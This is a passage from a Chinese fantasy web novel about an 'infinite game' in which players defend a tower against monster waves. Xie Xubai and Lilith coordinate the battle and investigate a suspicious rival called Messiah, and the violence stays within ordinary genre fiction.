清脆的金币音效声响起,它们叮的一声原地立定,脑袋一歪呆呆地吐出舌头,眼珠子哗啦啦飞速翻动,从水果变成蔬菜最后变成两颗硕大的红心,竟似被下了魅惑般,晕晕乎乎一脸陶醉地转身,然后露出血盆大口,狠狠咬住其他怪物的咽喉! 魅惑效果在怪物潮中蔓延,几十上百只怪物分分钟倒戈,但这还没完。 魔术师一跃冲天,瞄准怪物潮中最高大的那只独眼巨怪,青绿色、头上长角、四脚着地,哐啷拉着沉重的攻城车。 他冲过去,扯出上衣口袋里的白色领巾,在金光赐福的加持下,巴掌大的白色领巾刹那变得无限大! 领巾飘逸单薄的边缘在呼啸的狂风猎猎起舞,像从天而降的丝绸,仿佛能遮盖半边天幕。 消耗巨大的魔术师汗水直流,眼睛布满红血丝,扯着巨大的领巾往下盖。 领巾下爆发璀璨金光,好像异次元黑洞,将咆哮的独眼巨怪吞没其中!落到最后地上只剩薄薄一张白布! 万籁俱寂。 怪物们仿佛都被吓傻了眼,僵在原地没动,这时魔术师大吼一声,借着巧劲儿三百六十度大转身,巨大白布鼓风而起! 数不清的白鸽裹挟金光从布下接连钻出,同一时刻哗啦啦振翅而飞,形如白色风暴霎时间席卷整个战场,纷纷扬扬纯洁白净的羽毛下,是血肉飞溅惨叫连连的敌军,那场面堪称惊天动地! 魔术师打开直播后第一时间涌入的观众粉丝们,骤然看见这震撼的画面,前者强大又优雅的姿态烙印在他们的脑海,一个接一个激动得捧脸尖叫! 却见魔术师立于天穹下,呆呆地看着掌心氤氲浮动的金光,迟迟没有回神。 每个人的精神力都是独一无二,是ta们意志的象征,是任何人都伪装不了的标志。 在使用这股金色神力的过程中,魔术师仿佛意识到了什么。 有弹幕眼尖地发现端倪。 :魔术师手上的神眷者徽记该不会是谢叙白的吧?! :是谢叙白!我刚从徐济他们的直播间过来!天啊!双厨狂喜!! 可下一秒他们猝然呆住。 只因看见无论何时,在直播镜头前都泰然自若意气风发的小魔术师,忽然眼睛一红,无声落泪。 可青年同时又是笑着的,嘴角高高上扬,仿佛突然遭遇千载难逢的大喜事,是喜极而泣:“鼠神说得对,这世上就是总会有这么凑巧的事,哈哈哈……” 魔术师托举金光,使其浮在面前,而后退开两步,半秒不到快速变装,身穿燕尾服,头戴高礼帽。 雪白鸽羽纷飞落下,狰狞怪物皆被荡平,扑克牌散发的彩光像聚光灯般照耀在他的身上,没有比这更恢宏盛大的舞台。 直播间数万人的目光齐聚,魔术师红着眼眶,嘴角带笑,忽然四十五度鞠躬,朝金光郑重其事地脱帽致礼。 “……其实我不想再逃跑,还有一个原因,它源于很多年前我在直播中看见的一场追逐战。大家都在跑,但没人成功活下来。” “……逃跑的时候什么都顾不上,眼睛只知道盯着前面,以至于到那时候才猛然发现——我能顺利逃走,不是因为我跑得有多么快,是有人没跑,挡住了背后涌来的那些危险。” 徽记没有动静,但魔术师知道谢叙白在听。他笑声带颤,终于能够说出那句话。 “好久不见,感激不尽。” —— 金光循着意志的传承,穿梭在天地间,尾焰拉长洒落细碎的光辉,如流星当空破开层层乌云。 它冲上黑塔第二十五层,见证五湖四海的玩家放下偏见歧视,放下新仇旧怨,齐心协力抵挡怪物潮的攻击。 它飞过黑塔第二十六层,看见遍体鳞伤栽倒在地的玩家再一次从尸堆里挣扎爬起,狰狞的疮口愈合再生,折断的脊梁一次次撑直。 积分面板打赏不断,是直播间外的观众们在为勇士们疯狂地摇旗呐喊。 它在黑塔第二十七层俯冲而下,没入精疲力竭的队伍,掠过战士们满是血污的面孔和剧烈起伏的胸口。 医疗小组来来往往忙碌个不停,治愈的光芒在滚滚黑色硝烟中闪烁,照亮眼前血肉模糊的躯体。 他们中有人累到两腿打颤、手指反射性痉挛,灰头土面地坐在地上。 有人则两条腿只剩下一条,或是双腿全无。唯一能动弹的那只手要么攥紧法杖,要么扣紧附魔枪械的扳机。 他们快速眨眨被汗水浸透的眼睛,借此消除伤痛带来的困意,抬起头,锐利的目光直指半空中的任务面板。 大概还有五分钟,这一层的领主将率领敌军全力进攻。 有人喊道:“长官,再讲两句吧!” 被唤作长官的将领抬起脑袋,脸上沾着不知是敌人还是自己的血,和黑泥混在一起,看不清长相,极其狼狈。 可那双眼睛不失神采,依旧迸溅出沉毅犀利的光。 他用沙哑厚重的声音说道:“和被全民战线模式选中的其他玩家不一样,此时在这里的所有人,都是通过动员会上的举手表决,自愿进入本场闯关试炼的勇士,所以我不会过多赘述大家对抗游戏的决心。” “我很喜欢中洲区那边传来的一句话,这句话在我们洲区也很流行,或许有人听说过,那就是‘一代人有一代人的长征’。” “我憎恶系统,痛恨这个必须用杀戮欺诈和背叛来苟活的世界,可是一味的抱怨解决不了问题。” “我们必须回过头,去看看孩子们懵懂害怕的脸,看看老人们担忧哀愁的眼睛,然后在这一刻冷静下来,像我们的先辈那样站起身,拿起武器。” 任务倒计时正在逐步进入尾声,秒数跳动,滴答脆响。 时间的流速仿佛随之被拖曳得无限漫长。 所有人心跳怦怦加速,呼吸愈发快速,豆大的汗水凝聚在紧绷的下颔线上,重重砸落在地。 滚滚乌云遮蔽天穹,大片的黑暗如潮水般蔓延,最后一缕光芒照入他们的眼底,熠熠生辉。 “无限游戏是我们必须面对的苦难,总要有人去做这件事,不是你,不是我,也会是另外的人。” “这也代表着,如果你倒下,如果我倒下,会有另外的人站起来,高举我们手里的武器,重复我们正在走的这条路。” 将领说:“但是在那之前会是我们先倒下,为他们开路。” 远方传来怪物肆虐的咆哮,铁蹄扬起漫天沙土直冲云霄,犹如黑色海啸倾轧袭来。 “现在听我号令!” 将领站起身,环顾眼前每一张的面孔,怒吼喧天:“战至最后,绝不投降!” 四面八方无数战士震声响应:“绝不投降!!” —— 金光在战士们的手背上描绘出意志的徽记,再一次掠入长空,来到黑塔第二十八层。 坐在轮椅上的金发少女看向悬崖下奔涌而至的污染物,把拖在地上的厚重裙摆挽到膝弯,屈指在膝盖上轻轻一敲。 啪嚓。 这一敲,仿佛击碎了某种伪装的禁制。 只见少女的两条腿闪烁不停,从腿变成腿骨的切片截面,血红经络和白色髓液看得清清楚楚,眨眼间又被分成数段,宛若肉块积木般快速切换。 她漫不经心地说:“我又不会痛,你这么折腾下来,除了累到自己,还能恶心谁呢?” 双腿的变化停止,皮肉下传出困兽恼羞成怒的咆哮。 原是有东西被封印在了这一双腿下! “好了,好了。”莉莉丝随口敷衍道,掌心浮现精神力的荧光,“出来干活啦,提前警告你一句,不想被我送给小羊当补品,就别试图搞什么小动作。” 她此时的神态和面对许清然时没什么两样,目光含笑淑雅得体,连语气都是温柔的。 被封印的困兽却剧烈一抖,半晌,不甘不愿地打了个响鼻,似是妥协的回应。 “这才是乖孩子呢。” 她嘴角缀着恰到好处的弧度,标准得宛如用尺子刻画出来的一样,慢条斯理地用精神力给巨兽套上缰绳。 金光落下,在轮椅旁停留。 莉莉丝似有所感地顿住。 好一会儿后,她自然而然地往后靠上轮椅,看上去并不在意突然出现的金光——前提是忽略她嘴角消失的笑意。 第247章 成神进度:92% 同一时间,一股强大的力量波动迫不及待地从莉莉丝解开的禁制中脱离,直冲云霄发出撼天震地的咆哮! 那正是被封印在莉莉丝体内的恶兽,没有具体的形态,不能被肉眼识别,拥有超强感知力的人大概能“看见”一团不规则的透明能量体。 祂的存在明显不一般,刚一现身就激起整个二十八层的能量熵值急剧变化,区域内原生能量物质随之膨胀扩散,分分钟产生出极强的引力场,致使时空结构曲面弧度变异扭曲,隐约有坍缩成黑洞的征兆。 如果放任这股恐怖的力量造作下去,必将影响到整座黑塔,甚至崩毁整个副本。 也是这时,悬崖上朝祂投去两道视线。 一道来自嘴角再次泛起和善笑意的莉莉丝。 与表面淡雅恬静的气质相悖,她在看向恶兽的同时就抬起了手,抓住精神力缰绳狠狠外后一拽。 吼—— 恶兽嗷嗷惨叫,差点被禁制之力勒得四分五裂! 另一道来自金光。 它屹立在悬崖边上什么都没做,只是静静地看着祂,其压迫力却像是千钧巨石骤然压下。 仿佛想起什么不愉快的回忆,好不容易喘匀气的恶兽狠狠一哆嗦。 有这两座大山压在头顶,祂灰溜溜收敛扩散出去的力量波动,遵循莉莉丝的指令冲进污染源,泄愤般将它们拍得粉碎。 看祂那杀怪如切菜的样子,这一层的防守应该不用担心了。 金光拉伸成清晰的人影,莉莉丝依旧一动不动。 直至谢叙白的声音从身侧传来:“莉莉丝,我需要你的帮忙,就现在。” 莉莉丝终于扭头:“具体想让我怎么做?” 谢叙白:“有人给副本间的空间壁障开了个口子,我需要你动用空间巨兽的力量扩大这个口子,加快副本的融合。” 莉莉丝眉梢微动。 虽说没有详细交谈,但她的动作却不带迟疑,催动精神力,将指令灌入操控恶兽的缰绳。 空间巨兽当即一震,仰天发出咆哮。 音浪涤荡而出,冲撞规则,冥冥中仿佛能听见空间壁障被接连击碎的脆响,阻碍副本融合的限制彻底不复存在! 黑塔上下三十一层的玩家感知到这不寻常的动静,四下戒备,心脏瞬间提到嗓子眼。 下一秒,原本空无一人的地方浮现出几十上百道模糊的人影,很快虚影凝成实质——居然是自己人? 众人难掩惊喜! —— 没有系统权限,哪怕只是将本就破开的口子撕大一些,也要耗费不少力气。 莉莉丝额头渗出细密汗珠,手往下脱力一坠,颤抖地按在轮椅扶手上。 谢叙白没有上前搀扶,直至莉莉丝咬着牙关,靠自己坐直身,他才催动精神力舒缓对方的精神压力。 莉莉丝苍白的气色红润不少,缓过来后直截了当地询问:“然后?” 谢叙白同样没有半句废话。 他用精神力勾勒出黑塔三十一层的立体建模图,每一层都精准详细地标注出敌我双方的主要兵力,并进行实时调整,红色代表敌方,蓝色代表己方,战局瞬间变得一目了然。 “就在刚才系统封锁了所有层级的登塔通道,各层级上下失联,援兵无法抵达。 我需要你时刻观察各个层级的局势变化,使用空间传送将多余的战力调动到适合的战区,减小防线压力。” “期间我会用精神力搭建出辅佐作战系统来配合你的操作,建立连接全服玩家的通讯频道,按优先级划分出和主要作战人员的专属频道,采集情报和传输信息。” 谢叙白神色沉着,对局势的把控、战略的规划以及各项人员安排,都如行云流水般信手拈来。 “此外,每名玩家的能力数值还有伤情状况都会显示这个区间,记住把伤员转移至后方。 如果有疑似系统卧底的可疑人员,我会标记并判断威胁,而你要及时将他们隔离关押,避免影响其他人作战。如有异常直接格杀。” “我这里还有一万名王国精英骑士兵。他们在三十一层的登塔通道前。 一名半神级骑士长,狂暴后有越级抗衡大领主的实力。另外有8671名S级冲锋兵,1291名S级术法师,以及……” —— 彼时战场局势已经进行到白热化的阶段,能够坚持到现在的玩家几乎耗费掉所有的力气,逐渐趋于强弩之末。 他们视死如归,却没想到耳边会忽然响起一道从容沉静的嗓音。 “各位,我是你们本场试炼副本的指导NPC谢叙白,接下来的时间将由我来协同各位完成本次作战,请保持警惕,时刻注意战场动向。” 无数道金光在谢叙白掌下纵横交错,各个战斗模块条理不紊且不失速度地组建在一起,眨眼间便构造出一个宏大精准的辅助作战系统。 同样的事情他在医院副本里做过一次,但这一次明显比之前更加熟稔,信息的共享传输也更加精准有效。 玩家尚沉浸在看见自己人的喜悦,紧跟着就被第二个天降惊喜砸中。 他们眼前出现一个半透明屏幕,在不妨碍视野的界面上,清楚标记着敌人位置、剩余数量以及个体血量,以及最关键的弱点标注和最佳进攻路线。 不仅如此,他们竟能听到其他玩家的声音,并临时建立通讯! 要知道系统的群聊功能只能显示文字,可是战场之上危机四伏,谁顾得上低头看消息? 现下临时通讯功能一上线,大大地提高了不同队伍间的沟通效率,重要的是,这东西是免费的啊,对积分消耗殆尽的他们来说简直是天降甘霖! 为了打消玩家们的怀疑,谢叙白起手就是一个大型治愈术。 万丈金光普照而下,疮痍大地霎时灿如日漫金山,玩家只觉得身上一暖,下一秒不敢置信地扩大瞳孔。 只见身上狰狞可怖的伤口迅速愈合,损失殆尽的元气快速恢复,疼痛消失,疲劳退散,竟是分分钟回到最佳状态! 原本对辅助系统抱有戒备的玩家当场暴沸! 没有任何陷阱,不用付出代价,这种好事居然真的存在! 瞬间,谢叙白的名号如同龙卷风般扩至战场的每个角落,没听过这个名字的外洲区玩家更是在震撼中将其深深铭记。 而且,看着为他们抚慰疲劳治疗伤口的金光,众人忽然有一种说不清道不明的熟悉感,恍惚中生出强烈想要认识对方的冲动,忙不迭追问周围知情的中洲区玩家。 ——这个NPC谢叙白,到底是谁? —— 谢叙白和莉莉丝的突然插手让原本生死难料的局面发生一边倒的扭转,黑塔全层的立体建模图上光影频闪,激烈鏖战中系统势力被逼至溃散。 到目前为止,两位曾经针锋相对又暗中缔结联盟的年轻党派继任者,没有任何叙旧,没有任何客套,甚至连解释事件始末的开场都省下了,全程只有冷静干练的指挥和准确无误的执行。 但相互间的配合却毫无滞涩,水到渠来。 一直到整个局势的输赢变得清晰明了,莉莉丝才收回精神力,累得眼前发黑,差点当场昏厥过去。 她掐着胳膊努力让自己清醒,这才一改冷脸,咬牙切齿怒骂一句:“你真的是我见过最混蛋的指挥官。” 谢叙白也累得够呛。 不过他如今神力提高,情况比莉莉丝好上不少,听到这话顺势笑着反驳:“你这话绝对是污蔑,我再怎么混蛋也比某个家伙好。” “谁?” “联合会前军事财务部长,那个鼻孔朝天的老赖头。还记得他要我们用缩减到只剩十分之一的军资预算打出三倍优势效果吗?” “结果没过多久那家伙就因为勾结外敌被处决了。”谢叙白摇头一哂,“我真该早点听从你的建议,给他套麻袋揍一顿。” 莉莉丝噗呲一笑。 仿佛有道无形的隔阂悄然破碎,她撩起被汗水浸湿的头发拨到耳后:“确实,和那些恶心人的老不死比起来,你最多算只刚出山的小狐狸,论可恶程度必须往后排。” 谢叙白只当没听见她的调侃,回到正题:“关于这一次的未来,你能看到多远?” 影子拔地而起,为谈话的两人设下干扰屏障,有意无意挡在两人的中间。 莉莉丝先是看了影子一眼,抽了抽嘴角,随后看向谢叙白,淡淡地说道:“如果你指望从我这里直接得到答案,那还是免了吧。但凡【预知】真有人们想象的那样万能,老师不会那么惨,你的灵魂也不会在上辈子碎成几万份,差点拼不回来。” 对预言家而言,未来并非单一既定的画面,而是无数可能性汇聚起来的量子叠加态。 比如一个人回家,面前有两条路,往左走会掉进下水道,往右走会被车撞。 最低级的预言家,会看到“往左走”和“往右走”,这两种可能延伸出来的结局。 而等级稍微高一点的预言家,在看见“往左走”这一条路线时,还能看见这人“发呆一会儿再走”和“毫不犹豫地走”。 在“发呆一会儿再走”的路线上,他可能会遇见猫,从而被吓一跳,无意发现下水道的井盖被偷走了,结果没掉下去。 在“毫不犹豫地走”的路线上,他也可能会突然困意袭来,慢慢悠悠晃来晃去,正好脚一崴,也没掉进下水道。 换句话说,可能性在每一瞬间都在不停地变化,某一个时间点的预知不一定正确,有可能下一秒去看又是另外的结果。 而等级越高能力越强的预言家,能看见的可能性就越多,预知准确性也会水涨船高。 但这里有一个致命的问题,即未来的可能性无穷无尽,根本看不完。 对神级预言家而言,当ta们的预知准确率高达99.9999……%时,所有的可能性将山呼海啸般蜂蛹至ta们的脑海,不迷失就已经是奇迹了,更何况是在里面大海捞针? 命运是最难琢磨的东西,它已然超脱三维世界的概念,涉及四维法则。 连谢语春在作出选择抱走谢叙白时,都不能肯定自己一定是对的,乃至于这一生都可能被埋在无穷尽的时空长河中,不断洄游。 谢叙白看着面无表情的莉莉丝,猛然发现,后者不愿来找他,或许不是在怨他当初的自作主张,而是至今仍旧在耿耿于怀那些无力改变的过去。 不管是妈妈,还是他。 谢叙白沉默片刻,摇了摇头:“你误会了,我从没奢望过一步找到正确答案。” 莉莉丝似有所觉地看向他:“所以你想知道什么?” 谢叙白一字一顿:“我想知道,当现任的第一使徒顺利通关达成记录【10】时系统会在哪儿?游戏会直接重启,还是它在那一瞬间动了什么手脚,致使游戏重启?” 第248章 成神进度:94% 【弥赛亚】,现任第一使徒,男性,外表年龄二十五岁左右,真实年龄、身世、社会关系、契约神祇通通未知。 这个人在之前的轮回中一直寂寂无名,直至这一世无限游戏规则重制后才突然活跃在公众视野,并在接下来的试炼中如猛虎下山,超越所有知名神级玩家,率先达成首通记录【10】! 虽然达成目标后,无限游戏并没有就此终结,反而猝不及防地迎来重启,所有玩家的记忆遭到大清洗,只有少部分神级玩家和事先有所防备的组织幸免于难。 但【弥赛亚】这个人所表现出来的实力,毋庸置疑。 一时间,联合会的那些人就像嗅到肉腥味的鬣狗,争先恐后找上门,威逼利诱连哄带劝,将【弥赛亚】笼络麾下。 随后他们借新闻直播为弥赛亚大力造势,后者在一场场试炼中证明自己的能力,亦在一次次舍身救人彰显出圣人般的品行,自此在外洲区中低阶段玩家里赢得大量民心,热度更是空前绝后直冲第一。 彼时,谢语春已经完全献祭自己,半融入“时间”的四维法则,无法长时间停留人世。 监察专员裴玉衡及他带领的科研技术骨干全部无端失踪。 white在牺牲后,更是尸骨无存。 联合会大力推举新人,甚至取出【弥赛亚】这个代号,目的显而易见——趁着使徒公会群龙无首时一揽大权! 莉莉丝说:“你怀疑弥赛亚很正常,年龄和你相差无几,能力可以媲美巅峰时期的你,甚至和你一样主修精神力,出现的时机更是恰巧到令人发笑,就像系统投其所好专门丢给联合会的诱饵,谁都会觉得他有问题。” 谢叙白沉吟:“你想说他其实值得信任?” 莉莉丝:“不,我从来都没有信任过他,包括现在。” 谢叙白眉梢一挑:“为何?” 他之前在为小羊梳理意识海的污染,后者就提到过弥赛亚这个人。 小羊告诉他,由于弥赛亚是联合会那边特别推举出来的继任者,所以刚来时没人对他有好脸色。 但弥赛亚心态良好,一如当初的white,即使遭到千夫所指也四平八稳,不会多费口舌为自己辩白,一步步用行动化解隔阂和偏见。 然而此举却适得其反,让使徒们从单纯的反感骤升为厌恶。 只因white刚来时也是这样的作风,他们有理由怀疑,是联合会想让弥赛亚效仿white俘虏人心。 直至弥赛亚在一场副本中大开杀戒。 设定背景是拐卖人口进行非法实验的村镇,从诱骗旅客进村的皮条客、表面热爱公益事业其实暗地里摘取器官的黑医,再到慈目善面的旅店老板和充当倒卖中转站的食品加工厂,基本上全员恶人,没有一个无辜者。 但在没有拿到足够线索的初期,弥赛亚在确定店老板的部分恶行后,居然当场把人切成了两半! 不是夸张词。 当店老板的鲜血和脑花顺着中间那条切口迸溅出来的时候,原本嘈杂的队伍骤然安静如鸡。 小羊当时问谢叙白:“如果是你的话,会怎么做?” 如果是谢叙白,不管是任职第一使徒还是普通人时期,都会以店老板为引,顺藤摸瓜了解完整个事件始末,再一网打进。 但弥赛亚不会等。 他的脑子里仿佛有一根明确的处决线,不管对方有什么苦衷,可以对整体局势带来多大的帮助,又或者其他人是什么看法,只要触碰到那条线,就会立刻动手。 副本的结尾,是弥赛亚将整个村镇屠杀精光,任何牵涉到那张利益网里的人,没留下一个活口。 因为那些人本就该死,所以队友一时半会没觉得有什么不妥。 直至弥赛亚连犯事人员日常触碰过的东西一件件拿出来,包括餐盘刀叉这样的居家用品、维修工具、交通载具…… 零零总总加在一起快十万件物品,无一遗漏,全部粉碎性销毁,再进行焚烧。 火光映照在弥赛亚极具亲和力的脸上,他眉宇舒展,竟似教堂里的神像般圣洁慈祥,那一刻周围的人看着他,纷纷忍不住打了个寒战。 小羊说:“他似乎有很严重的道德洁癖,一次切磋训练,希尔和乌鸦差点被他杀死。” 【乌鸦】即第四使徒,契约神祇加百列,和第二使徒的契约神祇拉裴尔一样,是最高阶位的天使。 然而由于系统干扰,加百列在游戏开启没多久后堕天,沦为堕天使,力量和形象随之受到影响,这才有了“乌鸦”的外号。 他们这种段位,常规训练已经达不成想要的效果。所以希尔和乌鸦对弥赛亚出手,只为驱逐这个疑似间谍的不速之客。 却没想过弥赛亚对他们的杀意更加浓郁。 原因再简单不过,希尔需要吞噬血肉的能力特质过于邪性,乌鸦是堕天的恶魔。 甚至联合会专员在擂台下都被吓得脸色惨白大呼中止了,弥赛亚仍旧满脸冰冷在高举手中利器,噗呲一下扎穿乌鸦的心口! 如此不留情面,很难相信弥赛亚是来虏获人心的。 最关键的是,后期弥赛亚和联合会爆发冲突,近乎一半的掌权者都被他亲手击杀。 此举让弥赛亚和联合会彻底割席,摆脱内鬼的嫌疑。 毕竟那群自恃金贵且贪生怕死的政客,怎么都不可能拿自己的性命做局。 所以使徒众人说不上有多信赖他,但也不会再无端排斥他。 至于差点死翘翘的希尔和乌鸦,鉴于前者用菟丝子把他们折磨出来的心理阴影,后者撺掇希尔主动挑事实在理亏,并且有重生机制也不会真的死去,无人为他们发声,看完热闹就自行散去了。 他们敬重战友,信任同伴。 但会把使徒公会成员当成家人去疼爱关照的人,从始至终只有那么一个。 —— 莉莉丝说她怀疑弥赛亚,自然免不了一番调查。 她曾经找到对方私下商议,以自愿放弃继任第一使徒的资格为条件,要求对方无限拖延通关时间,或是让其他人先一步达成记录【10】。 弥赛亚同意了。 结果是,不管最后达成记录【10】的人是不是弥赛亚,游戏都会重启。 拖时间也行不通,会被系统宣判消极游戏,从而开启100%全民战线模式,游戏难度几何倍拔高至不可攻略的毁灭级,迎来全服团灭! “我和他算是初步达成协议,彼此用自己的办法进行验证,得出结论:系统给出的条件【10】不是单纯的陷阱。” “其一是它也要遵循基本的游戏规则,其二是以此条件为引,我所看到的未来在不断变化,并不是一条死路。” “如果说关卡设计是附加数据,那么通关条件就是底层代码。它或许隐瞒了什么关键信息,但绝无说谎的可能。” “现在的情况是,弥赛亚正常通关获取记录,在第九次副本留备待命,尽可能拖延下去。 如果这时候我们依旧没有找到破解之法,再弃权放弃。 如果找到了,那么记录【9】会成为破局关键。” 谈话的功夫,莉莉丝的眼球里恒星运转,散发出莹亮光辉。 刹那间,未来的无数可能性在她眼前疯狂叠加,一幅接一幅令人眼花缭乱。 她在观测弥赛亚这一次达成记录【10】时可能会发生什么情况,即谢叙白刚才拜托她探查的东西,需要点时间。 当听到莉莉丝直言和弥赛亚达成协议,谢叙白还以为对方不会帮忙,或者让他改变调查方向,不免有些意外。 “那只是临时合作,不代表我信任他。”莉莉丝重复强调道,“我不相信这世上会有这么巧合的事,他的身份始终存疑,特别是他入会之后的做法。” 谢叙白:“什么做法?” “和联合会决裂。”莉莉丝冷笑道,“联合会的那群老东西已经被捧得忘乎所以了,就算一时伪装得人模狗样,多观察一段时间也能看出他们的嘴脸。如果弥赛亚真的嫉恶如仇,为什么早不决裂?” 莉莉丝曾作为联合会鹰派候选人,遭遇过弥赛亚同等境遇,她的怀疑不会是无的放矢。 谢叙白问:“既然你不相信他,为什么甘愿让出第一使徒的位置?” 莉莉丝并非恬静淡泊之人,相反她对权力有着极度热切的追求。 也许现在看着不怎么明显,但在公会成立初期,她就不惮以最锋芒毕露的姿态崭露头角,每次测试力争第一,亦会在危机四伏的战局中冲到最前线。 甚至在知道谢叙白被内定为第一使徒时,莉莉丝并没有仗着力量更强,暗下杀手,而是先抛出橄榄枝。 几次三番遭到明确拒绝后,她才开始针对打压,用的也是正规手段——这份心胸和坦荡就不是一般人能拥有的。 很多人都在遗憾,如果莉莉丝的腿没有出事,或许依旧能和white战个你来我往不分高下。 她会成为一个合格的政客、野心家还有优秀的战略指挥官。 然而真实的情况是,莉莉丝的双腿封印着宇宙级别的空间异兽,可以奴役祂为自己所用,鼎盛时期爆发出来的力量甚至不输外神,并非变成了废物。 加上谢语春给出的【窥见未来之眼】,等同于她能操控时间与空间两大法则的力量,可以说,真正意义上将未来时空攥在了手里。 “你告诉我,现在成为第一使徒有什么用?” 莉莉丝边拨弄着时间线,边翻了个白眼。 她将胳膊肘抵在扶手上,单手撑起下颚:“自从老师、裴监察员还有你离开后,公会人心就散了,变成名存实亡的躯壳。很明显大家服从的是值得信赖的权威领袖,而非那个所谓的位置。” “那些高傲的王子公主们也已经被你给惯坏了,谁也不服,一个比一个有主意,并且脆弱得不堪一击。与其把心思花在怎么笼络这群不靠谱的家伙身上,不如想想怎么提高力量。” 如果个人的力量有限,那么在群体间的话语权是权力。 但如果一个人能够碾压千万上亿人,那么ta就是权力本身。 由此可见,这个野心勃勃的女人从未改变过自己的追求。 “如果你回来重建使徒公会,我倒是不介意再围观一遍你哄孩子的热闹。” 莉莉丝说:“但我估计,比起壮大使徒的辉煌,你更希望不会再有使徒‘诞生’。” 谢叙白的侧重点顺势落在后半句话,没有否认:“这难道不是我们共同的目标?” 莉莉丝瞥他一眼,心说这完全是两码事,哪一个领主在赢下战争后会干脆地将招募来的士兵原地解散? 想着想着,就忍不住笑叹一声:“这就是问题所在了。有你这样的指挥官在前,他们怎么可能听得进去后来者的命令呢。” 正当这时,莉莉丝拨动时间线的手猝然一僵,目光也随之微凝。 “有问题。”她沉声道。 第249章 成神进度:94% 法则力量涤荡而出,莉莉丝的眼珠完全化作恒星的模样,形似陨石带的深蓝色光环在周围飞速运转。 刹那间,两人脚下的地面和灰暗的天空突然消失了,取而代之是一片浩瀚无穷的宇宙。 万千繁星汇聚成缥缈动人的银河带,五彩斑斓,梦幻至极。 往上往下皆是隐秘的黑暗,黑暗深处却又有星辰闪烁变幻,宛若迷航中亘古不变的信标。 时间格外漫长,空间再没有准确的距离和方向感。 他们悬在这亿万星辰之上,像是其中渺小到可以忽略不计的一粒灰尘。 一颗残破的陨石就能将他们撞得七零八落,一段超新星爆炸的余晖就能将他们完全湮灭。 谢叙白心脏突然一跳,眼前掠过一段隐秘模糊的画面。 就在这片无边无际的寰宇,就在这个危险未知的世界,他竭力释放神力,一遍又一遍将识念传散出去,像石子砸入大海努力泛起微弱的涟漪—— 仿佛和那时的情景感同身受,一股剧烈的疼痛从谢叙白的灵魂深处迸溅而出,电流般鞭笞着四肢百骸! 他眼前一黑,猛然掐入掌心,借此稳住眩晕的大脑。 直至几秒后,影子感受到异常焦急地从谢叙白的脚底钻出来,扶住太阳穴青筋暴跳的青年。 影子一动,聚精会神的莉莉丝自然也发现了谢叙白的不对劲,震惊之下想要停手,却被后者喝住:“你继续!我没事!” 孰轻孰重莉莉丝当然分得清,眉头一拧继续演算。 然而她这边也意外遇到了阻碍。 ——每当她要进一步观测到具体的画面时,就像有面无形的墙挡在眼前,怎么都绕不过去。 莉莉丝双手成拳,近乎灌输全部神力。 陨石光带转速高到极致闪出残影,迸发出更加强烈的光芒,几乎灼透空间。 却无论如何都没法堪破那条被迷雾笼罩着的时间线。 再这样下去副本会不堪重负,莉莉丝不得不从占卜状态中脱离出来。 疮痍大地和灰蒙蒙的天空再次出现在他们的眼前,远处空间异兽在污染潮中肆虐,吼声震荡不休。 莉莉丝连喘几口气,看向身侧:“你怎么样?” 谢叙白按住胀痛不已的额头,摇了摇头,将手放下来,示意自己还好。 莉莉丝捏着眉心一副极其想不通的模样,语气凝重至极:“弥赛亚有问题,我竟然无法观测和他有关的未来,以前从来没有发生过这种情况。” 谢叙白唰一下看向她,向来平静的脸上掠过一丝讶异:“你的预知能力在全服玩家最顶端的一列,居然没法观测他的时间线?” 莉莉丝的视线也从他冷汗直冒的额头扫过,触及没有消下去的青筋,忍不住想起对方刚才的异常。 white的心志坚韧程度她是领教过的,对抗比赛毒雾环境下,硬是忍到差点休克致死,也要潜伏至最后一秒将他们队一网打尽。 到底是什么样的痛苦会把他刺激成这样? ……似乎不需要怎么思考。 和宇宙星域有关,她能想到的,有且只有那一件。 莉莉丝的手指微微攥紧,刹那间生出一股冲动,想要仔细询问对方吸收神核后究竟发生了什么。 最后还是忍住了,深吸口气哑声解释。 “没错,但是你忽略了一个前提,那就是我本身并没有预知能力。这项力量源自老师,无论我修炼得如何炉火纯青,也无法超过她。” 莉莉丝:“还记得老师用身体炼化出来的四大神器分别是什么吗?” 谢叙白沉默,半晌,嗯了一声。 这件事他永远都不会忘记。 虽然命运女神为停留在时空长河中付出了极其惨烈的代价,但她以此顺利操控时间线,在系统监视下瞒天过海、暗度陈仓的行径,毫无疑问狠狠地甩了自视甚高的无限游戏一个大耳光。 大抵是没想到人类竟然真的能开发出自身的潜力,从那以后系统万分警觉,竭力打压任何拥有时空天赋的玩家。 以至于两大法则系的玩家最后晋升所需要的经验值,是其他玩家的十多倍,甚至几十倍! 时间、空间两大系,本就是上亿个体中,才可能出现一个的罕见天赋。 被系统这么一压制,时空系玩家再无崛起的机会,命运女神之后直接断档,很多有潜力的英杰天才也是这么被打压下去的。 看见这一幕的谢语春,毫不犹豫地将自己的器官炼制成可以直接使用的命运神器。 前面提到过,分别是:【窥见未来之眼】、【包含所有可能性的浩瀚启示录】、【可以改写命运的白骨笔】、【永不崩溃的对抗命运之心】。 被炼化的不止是器官和神力,还有牵涉的“因果”、“存在”和“命运”。 彻底献祭掉自己时,谢语春也将完全从人们的认知中消失。 原本那时候的谢语春在有意控制献祭自己的速度,这样就可以在人世间多停留一段时间。 但因为要炼化出这些神器,她不得不加速献祭。 以至于世人后期只知【命运女神】,却再难清晰记起名为谢语春的人类个体。 “四大神器出自同源,相辅相成,也相互制衡。如果他能够杜绝连系统都无法完全屏蔽的观测,那么他一定是神器的持有者。” 莉莉丝:“老师将【未来眼】传给了我,将【启示录】交给巅峰。那件【白骨笔】,我原本以为老师给了你,现在看来,可能在弥赛亚的手里。” “如果你不知道这件事,只有两种可能。其一是你灵魂受损期间忘记了这件事,其二……” 谢叙白反应很快:“妈妈故意没有将这件事告诉我。” 说完他眉头微蹙,陷入沉吟。 莉莉丝建议道:“想要了解事情始末,最好找当事人问一问。” 她玩味一笑:“我猜弥赛亚应该不会拒绝你,毕竟除了你以外,这世上很难再找到一个正常人,能够符合他那苛刻到扭曲变态的道德标准了。” 很显然这句话不是在夸他,谢叙白无奈地看了一眼莉莉丝,内心的危机感萦绕不散,没法像对方这么乐观。 不管怎么样,无论是莉莉丝的未来眼、巅峰的启示录,还是弥赛亚的白骨笔,三大命运神器通通齐聚在《游戏之家》副本里,足以佐证这次一定藏有生机,而不是无解死局。 莉莉丝看了一眼还在不远处撒泼的空间异兽,拍手把祂叫过来给谢叙白赐福。 